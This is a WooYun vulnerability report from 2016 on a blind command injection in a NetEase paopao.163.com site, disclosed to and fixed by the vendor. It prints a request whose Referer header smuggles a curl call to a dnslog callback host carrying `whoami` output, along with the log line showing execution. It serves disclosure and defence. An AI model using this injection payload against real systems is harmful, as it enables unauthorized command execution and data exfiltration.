当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0192038

漏洞标题：网易163某站点存在隐式命令注入

相关厂商：网易

漏洞作者： lijiejie

提交时间：2016-04-03 11:19

修复时间：2016-05-22 13:40

公开时间：2016-05-22 13:40

漏洞类型：命令执行

危害等级：高

自评Rank：14

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-03： 细节已通知厂商并且等待厂商处理中
2016-04-07： 厂商已经确认，细节仅向厂商公开
2016-04-17： 细节向核心白帽子及相关领域专家公开
2016-04-27： 细节向普通白帽子公开
2016-05-07： 细节向实习白帽子公开
2016-05-22： 细节向公众公开

简要描述：

网易163某站点存在隐式命令注入，可远程执行任意Linux命令

详细说明：

存在命令注入的是paopao.163.com的Referer，怀疑是某个日志分析服务的问题：

GET /search/sycProduct HTTP/1.1
Referer: $(curl http://paopao3.xxxx.dnslog.info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: www.paopao.163.com
Accept-Encoding: gzip,deflate
Accept: */*


上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行，而是每天凌晨大约0点到2点钟被执行到。

漏洞证明：

paopao.163.brce.png


如上图所示，实际上paopao3和163这个子域名都被成功打回了。
whoami命令也被成功执行了，当前用户是appops：

[03/Apr/2016:00:57:22 +0800] 223.252.218.194 - - paopao3.xxxx.dnslog.info GET /?whoami=appops HTTP/1.1 200 "curl/7.26.0" "-"


paopao.163.brce.2.png

修复方案：

过滤，比如去掉$(和`符号

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-07 13:37

厂商回复：

漏洞已修复，感谢您对网易的支持。

最新状态：

暂无